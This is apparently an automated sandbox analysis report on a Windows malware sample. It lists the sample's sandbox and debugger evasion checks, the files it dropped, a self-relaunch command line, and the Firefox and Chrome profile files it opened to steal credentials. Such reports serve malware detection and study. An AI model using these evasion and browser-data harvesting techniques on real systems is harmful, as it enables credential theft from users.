Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,	4_2_00F6E670

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wctF86A.tmp			Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\wctF86A.tmp.paas (copy)			Jump to dropped file

Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Evaded block: after key decision

Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_0-40719

Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

API coverage: 5.2 %

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe TID: 4904	Thread sleep time: -154000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe TID: 4520	Thread sleep count: 179 > 30			Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00790160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	0_2_00790160
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	0_2_0078F730
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	0_2_0078FB98
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0078F730
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00790160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00790160
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0078FB98
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	3_2_00F6F730
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F70160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	3_2_00F70160
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	3_2_00F6FB98
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F70160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00F70160
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00F6F730
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_00F6FB98

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Thread delayed: delay time: 154000

Jump to behavior

Source: f6ffg1sZS2.exe, 00000000.00000002.1715299706.0000000000613000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\t
Source: f6ffg1sZS2.exe, 00000003.00000002.2942665032.000000000093F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(yD
Source: f6ffg1sZS2.exe, 00000000.00000002.1715299706.0000000000613000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}EM
Source: f6ffg1sZS2.exe, 00000000.00000002.1715299706.000000000062F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000000.00000002.1715299706.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001442000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000008.00000002.1925337254.00000000015AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

API call chain: ExitProcess graph end node

graph_0-40721

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_00781178 rdtsc

0_2_00781178

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_007A4168 _memset,IsDebuggerPresent,

0_2_007A4168

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_007AA57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_007AA57A

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

2_2_00801920

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

0_2_00792220

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_007A78D5 GetProcessHeap,

0_2_007A78D5

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B29EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_007B29EC
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B29BB SetUnhandledExceptionFilter,	0_2_007B29BB
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B29EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_007B29EC
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B29BB SetUnhandledExceptionFilter,	2_2_007B29BB
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F929EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00F929EC
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F929BB SetUnhandledExceptionFilter,	3_2_00F929BB
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F929EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00F929EC
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F929BB SetUnhandledExceptionFilter,	4_2_00F929BB

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Process created: C:\Users\user\Desktop\f6ffg1sZS2.exe "C:\Users\user\Desktop\f6ffg1sZS2.exe" --Admin IsNotAutoStart IsNotTask

Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_00781000 cpuid

0_2_00781000

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	0_2_007B8178
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_007C0116
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_007B82A2
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	0_2_007B834F
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	0_2_007B8423
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: EnumSystemLocalesW,	0_2_007B87C8
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,	0_2_007B884E
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	0_2_007B7BB3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: EnumSystemLocalesW,	0_2_007B7E27
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	0_2_007B7E83
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	0_2_007B7F00
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	0_2_007B7F83
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	2_2_007B8178
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_007C0116
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_007B82A2
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	2_2_007B834F
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	2_2_007B8423
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: EnumSystemLocalesW,	2_2_007B87C8
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,	2_2_007B884E
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	2_2_007B7BB3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: EnumSystemLocalesW,	2_2_007B7E27
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_007B7E83
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_007B7F00
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	2_2_007B7F83
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	3_2_00F98178
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_00FA0116
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00F982A2
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	3_2_00F9834F
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	3_2_00F98423
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: EnumSystemLocalesW,	3_2_00F987C8
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,	3_2_00F9884E
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	3_2_00F97BB3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	3_2_00F97E83
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: EnumSystemLocalesW,	3_2_00F97E27
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	3_2_00F97F83
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	3_2_00F97F00
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00F98178
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00FA0116
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_00F982A2
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_00F9834F
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00F98423
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: EnumSystemLocalesW,	4_2_00F987C8
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: GetLocaleInfoW,	4_2_00F9884E
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	4_2_00F97BB3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00F97E83
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: EnumSystemLocalesW,	4_2_00F97E27
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00F97F83
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00F97F00

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_007B2283 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_007B2283

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_00799F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

0_2_00799F90

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_007AFE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_007AFE47

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

0_2_00799F90

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\Telemetry.FailedProfileLocks.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
